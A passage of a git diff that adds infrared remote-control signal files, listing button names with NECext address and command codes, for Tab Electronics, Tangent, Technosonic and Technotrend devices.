0A 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0C 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 0F 00 00 00 +# +name: TV/Sat +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 28 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 2F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 46 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 56 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 6A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir new file mode 100644 index 000000000..3f5473638 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: wallright +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: wallleft +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: maze +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: awaylight +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: turnright +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: turnleft +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: seeklight +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: foreward +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: forewardright +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir b/assets/resources/infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir new file mode 100644 index 000000000..2dce1c88b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 00 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 01 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 02 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 03 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 04 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 05 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 06 00 00 00 +# +name: BT +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 07 00 00 00 +# +name: DAB +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 08 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 09 00 00 00 +# +name: OPTICAL +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 0A 00 00 00 +# +name: LINE_IN +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 0B 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 0C 00 00 00 +# +name: PLAY_PAUSE +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 0D 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 0E 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 0F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 10 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 11 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 12 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 13 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 14 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 15 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 16 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 F8 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir b/assets/resources/infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir new file mode 100644 index 000000000..3e3f96457 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 01 00 00 00 +# +name: repeat-1-all +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 02 00 00 00 +# +name: repeat-a-b +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 04 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 05 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 06 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 07 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 08 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 09 00 00 00 +# +name: pause-step +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 0B 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 13 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1B 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1C 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 1F 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 41 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 42 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 43 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 44 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 45 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 46 00 00 00 +# +name: rwd +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 47 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 48 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 49 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 50 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 58 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 59 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5A 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5C 00 00 00 +# +name: tvsys +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 10 ED 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir new file mode 100644 index 000000000..ce7e889d2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: shutdown +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: button_tab +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: button_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: button_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: button_3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: button_4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: button_5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: button_6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: button_7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: button_8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: button_9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: button_0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: button_up +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: button_left +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: button_ok +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: button_right +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: button_down +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: button_red +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: button_green +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: button_yellow +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: button_blue +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: button_mute +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 23 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 24 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 26 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir new file mode 100644 index 000000000..4a0b74f8d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: toggle +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: opt +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: more +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: tv/radio +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 23 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 24 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 26 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir new file mode 100644 index 000000000..b7ec611ae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 23 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 24 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 26 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3C 00 00 00 +# +name: fr +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir new file mode 100644 index 000000000..0bd489d72 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 23 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 24 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 25 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 26 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3A 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir new file mode 100644 index 000000000..b06ee2bad --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: shutdown +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: button_tab +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: button_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: button_2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: button_3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: button_4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: button_5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: button_6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: button_7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: button_8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: button_9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: button_0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: button_up +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: button_left +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: button_ok +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: button_right +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: button_down +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: information +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: button_red +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 14 00 00 00 +# +name: button_green +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: button_yellow +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: button_blue +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: button_mute +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed 